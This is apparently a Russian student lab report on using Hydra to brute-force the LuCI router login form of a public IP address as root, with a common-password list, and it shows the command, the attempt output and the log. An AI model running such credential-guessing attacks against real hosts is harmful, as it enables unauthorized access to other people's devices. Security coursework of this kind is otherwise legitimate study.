Индивидуальный проект. Этап №3

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Цель работы

Использование Hydra.

Ход работы

Устанавливаю Hydra (рис. [-@fig:001])

```
┌──(kali㉿kali)-[~]
└─$ hydra -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
 military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-28 09:
14:12
[ERROR] Invalid target definition!
[ERROR] Either you use "www.example.com module [optional-module-parameters]"
*or* you use the "module://www.example.com/optional-module-parameters" syntax
!
```

Установка

Ход работы

Ввоожу команду(рис. [-@fig:002])

```
┌──(kali㉿kali)-[~]
└─$ hydra -l root -P ~/pass_lists/dedik_passes.txt -o ./hydra_result.log -f
V -s 80 178.72.90.181 http-post-form "/cgi-bin/luci:username=^USER^&password
^PASS^:Invalid username"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use i
 military or secret service organizations, or for illegal purposes (this is
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-28 09
14:42
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (l:1/p:12
, ~1 try per task
[DATA] attacking http-post-form://178.72.90.181:80/cgi-bin/luci:username=^US
R^&password=^PASS^:Invalid username
[ATTEMPT] target 178.72.90.181 - login "root" - pass "123456" - 1 of 12 [chi
d 0] (0/0)
[ATTEMPT] target 178.72.90.181 - login "root" - pass "password" - 2 of 12 [c
ild 1] (0/0)
[ATTEMPT] target 178.72.90.181 - login "root" - pass "root" - 3 of 12 [child
2] (0/0)
[ATTEMPT] target 178.72.90.181 - login "root" - pass "admin123" - 4 of 12 [c
ild 3] (0/0)
[ATTEMPT] target 178.72.90.181 - login "root" - pass "letmein" - 5 of 12 [ch
ld 4] (0/0)
```

Команда

Ход работы

Смотрю результат (рис. [-@fig:003])

```
┌──(kali㉿kali)-[~]
└─$ cat ./hydra_result.log
# Hydra v9.5 run at 2024-09-28 09:14:42 on 178.72.90.181 http-post-form (hydr
a -l root -P /home/kali/pass_lists/dedik_passes.txt -o ./hydra_result.log -f
-V -s 80 178.72.90.181 http-post-form /cgi-bin/luci:username=^USER^&password=
^PASS^:Invalid username)
```

Результат

Вывод

Мы научились пользоваться Hydra